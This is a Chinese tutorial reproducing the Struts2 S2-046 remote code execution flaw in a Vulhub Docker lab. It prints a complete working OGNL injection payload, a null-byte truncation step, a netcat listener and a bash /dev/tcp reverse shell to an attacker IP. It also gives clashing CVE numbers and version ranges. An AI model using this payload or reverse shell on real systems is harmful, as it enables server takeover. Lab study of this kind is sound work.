目录
1、确保系统已安装 Docker 和 Docker-Compose
本文通过vulhub靶场的Struts2_S2-046关卡讲解Struts2_S2-046漏洞原理(CVE-2017-5638)、渗透环境搭建与渗透全流程(包括命令执行、反弹shell)。
一、Struts2_S2-046漏洞
1、漏洞简介
Struts2 S2-046 是一个远程代码执行漏洞,编号为 CVE-2017-12611,主要影响 Struts 2.0.0 到 2.3.33 以及 2.5.0 到 2.5.10 版本。S2-046是Struts2框架在处理恶意构造的多文件上传请求时,因Jakarta解析器对异常信息处理不当,将攻击者置于Content-Disposition
或Content-Length
头中的 payload 直接进行OGNL表达式解析,从而导致远程代码执行的严重漏洞。
-
漏洞编号: CVE-2017-5638(注意:S2-046 和著名的 S2-045 是同一个CVE编号)
-
漏洞名称: Struts2 S2-046
-
漏洞类型: 远程代码执行 (RCE)
-
威胁等级: 严重 (Critical)
-
影响版本: Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10
-
漏洞原因: 基于Jakarta Multipart解析器进行文件上传时,对异常的错误消息进行了不安全的OGNL表达式处理。它是S2-045的变种,触发点不同,但根本原因和核心利用方式完全一致。
2、漏洞原理
-
文件上传请求: 攻击者发送一个伪装的文件上传HTTP请求。
-
恶意输入点: 攻击者不在
Content-Type
中注入Payload,而是选择在以下两个地方注入:-
Content-Disposition
字段: 这个字段通常用于指定表单字段名和文件名,例如Content-Disposition: form-data; name="file"; filename="evil.txt"
。攻击者可以在此处嵌入OGNL表达式。 -
Content-Length
字段: 攻击者可以发送一个异常巨大的值,导致解析错误。
-
-
触发异常: Jakarta解析器在处理这些被恶意构造的字段时,会抛出异常。
-
不安全的错误消息构建: 在构建错误消息的过程中,Struts2会使用
LocalizedTextUtil.findText()
方法来获取国际化的错误信息。关键问题在于:该方法会将错误消息中的内容(即攻击者控制的恶意Payload)当作OGNL表达式进行解析! -
OGNL注入与代码执行: 由于在解析OGNL时Struts2的安全限制已被绕过,攻击者注入的OGNL代码会被成功执行,从而导致远程代码执行。
二、环境搭建
1、确保系统已安装 Docker 和 Docker-Compose
本文使用Vulhub复现Jenkins-CI漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker
2、下载 Vulhub
将 Vulhub 项目克隆到本地,具体命令如下所示。
git clone https://github.com/vulhub/vulhub.git
cd vulhub
3、进入漏洞环境
Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。
cd struts2
cd s2-046
4、启动漏洞环境
在struts/S2-046目录下,使用docker-compose up -d命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。
docker-compose up -d
命令执行后,Docker 会完成拉取一个包含struts2:s2-046 2.3.30(受影响版本)的镜像。
5、查看环境状态
使用 docker ps 命令确认容器启动状态,如下所示当前运行的容器14bb5bec17da属于 Vulhub 搭建的s2-046漏洞复现环境。
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
14bb5bec17da vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" 5 minutes ago Up 5 minutes 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-046_struts2_1
通过运行结果可知基于 Vulhub 项目的、专门用于复现和测试 Struts2 S2-046 远程代码执行漏洞(CVE-2017-5638)的环境正在运行。
-
14bb5bec17da:Docker 容器的唯一 ID(前 12 位简写形式),用于在 Docker 命令中标识和操作该容器。
-
vulhub/struts2:2.3.30:容器所基于的镜像信息
vulhub/struts2
是镜像名称,表明这是 Vulhub 项目提供的 Struts2 漏洞环境镜像2.3.30
是镜像标签,指定了使用的 Struts2 版本为 2.3.30(该版本存在多个已知漏洞,包括 S2-046 等)
-
"/usr/local/bin/mvn-…":容器启动时执行的命令(显示不全,完整命令可能是 Maven 相关的启动命令,如
mvn tomcat:run
等),用于启动包含漏洞的 Struts2 应用服务。 -
5 minutes ago:容器的创建时间,即 5 分钟前创建了该容器。
-
Up 5 minutes:容器当前状态,表明容器已正常运行 5 分钟。
-
0.0.0.0:8080->8080/tcp, :::8080->8080/tcp:端口映射配置,将容器内部 8080 端口映射到宿主机 8080 端口,意味着可以通过
http://宿主机IP:8080
访问容器内运行的 Struts2 应用。 -
s2-046_struts2_1:容器的名称,清晰标识这是用于复现 S2-046 漏洞的 Struts2 容器实例。
三、渗透实战
1、访问环境
Docker启动完成后,访问 http://[靶机IP地址]:8080/
HelloWorld.action来查看环境是否搭建成功。以本机为例,ip地址为192.168.59.128,端口号为8080,如下所示说明环境启动成功。 。
http://192.168.59.128:8080/HelloWorld.action
点击上传,burpsuite抓包,如下所示,红框的内容就是我们要修改的部分,为便于修改,右键将报文发送到repeater。
2、PoC执行id命令
将filename内容替换为如下PoC,其中命令cmd=’id’为关键PoC,具体如下所示。
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
接下来选择使用hex显示request报文,使用00截断法修改请求报文(b在hex中是62,找到62前面的一个改成00即可)。
双击上图62前面的20,将其改为00,修改后如下所示,点击发送请求,开启id命令执行的攻击。如下所示,输出结果为 uid=0(root) gid=0(root) groups=0(root)。
3、PoC执行ls命令
同理,将poc中需要执行的代码cmd=’id’换成cmd=’ls’,具体如下所示。
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
将request请求的报文中的filename内容替换为PoC,如下所示。
接下来选择使用hex显示request报文,使用00截断法修改请求报文(b在hex中是62,找到62前面的一个改成00即可)。
如下所示输出结果为:LICENSE NOTICE RELEASE-NOTES RUNNING.txt bin conf include lib logs native-jni-lib temp webapps work。
双击上图红框中的62前面的20,将其改为00,修改后如下所示,点击发送请求,开启ls命令执行的攻击。如下所示,输出结果为:
Dockerfile
pom.xml
src
target
四、反弹shell实战
1、攻击机监听
计划在目标系统上创建一个反向 shell(反向连接)攻击机的6666端口,命令如下所示。
nc -lvvp 6666
-
nc
: 网络瑞士军刀工具(Netcat),用于处理网络连接。 -
-l
: 监听(Listen) 模式,等待别人来连接。 -
-v
: 显示详细信息(Verbose),让你能看到谁连接上了。 -
-p 6666
: 在 6666 端口(Port) 上进行监听。
2、目标机建立连接
在目标系统上创建一个反向 shell(反向连接),命令如下所示。它的作用是让当前机器主动连接到攻击者的机器,并提供一个可交互的命令行终端。
① 原始命令
bash -i >& /dev/tcp/192.168.59.128/6666 0>&1
-
bash -i
: 启动一个交互式的(interactive)Bash shell。 -
>& /dev/tcp/192.168.59.128/6666
:-
>/dev/tcp/192.168.59.128/6666
: Bash 的一个特性,可以建立一个 TCP 连接,连接到 IP 地址为192.168.59.128
的机器的6666
端口。 -
>&
: 将标准输出(stdout) 和标准错误(stderr) 都重定向到这个 TCP 连接。
-
-
0>&1
: 将标准输入(stdin) 也重定向到同一个 TCP 连接(即标准输出指向的地方)
整体效果就是让被攻击的服务器主动连接IP为 192.168.59.128
的机器的 6666
端口,并建立一个远程控制会话。具体如下所示。
-
执行这条命令的服务器(靶机)会主动去连接
192.168.59.128:6666
。 -
连接建立后,在这个 Bash 中所有的输入和输出(你打的命令和命令返回的结果)都会通过这个 TCP 连接传输。
-
在
192.168.59.128
这台机器上监听 6666 端口的人(攻击者),就获得了对方服务器的一个远程命令行控制权。
② 攻击目标机
根据上一步的webshell反弹的命令,构造如下cmd='bash -i >& /dev/tcp/192.168.59.128/6666 0>&1',具体如下所示。
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.59.128/6666 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"
将request请求的报文中的filename内容替换为PoC,如下所示。
接下来选择使用hex显示request报文,使用00截断法修改请求报文(b在hex中是62,找到62前面的一个改成00即可)。
当修改为00点击发送后,可以看到此时这个请求一直处于waiting中,也就是正在连接中状态。
3、反弹shell成功
此时查看kali攻击机的监听,已经成功连接,输入whoami、ip addr返回正确结果,渗透成功。此时观察反弹的shell的容器id为14bb5bec17da,正好是我们创建的Docker漏洞环境。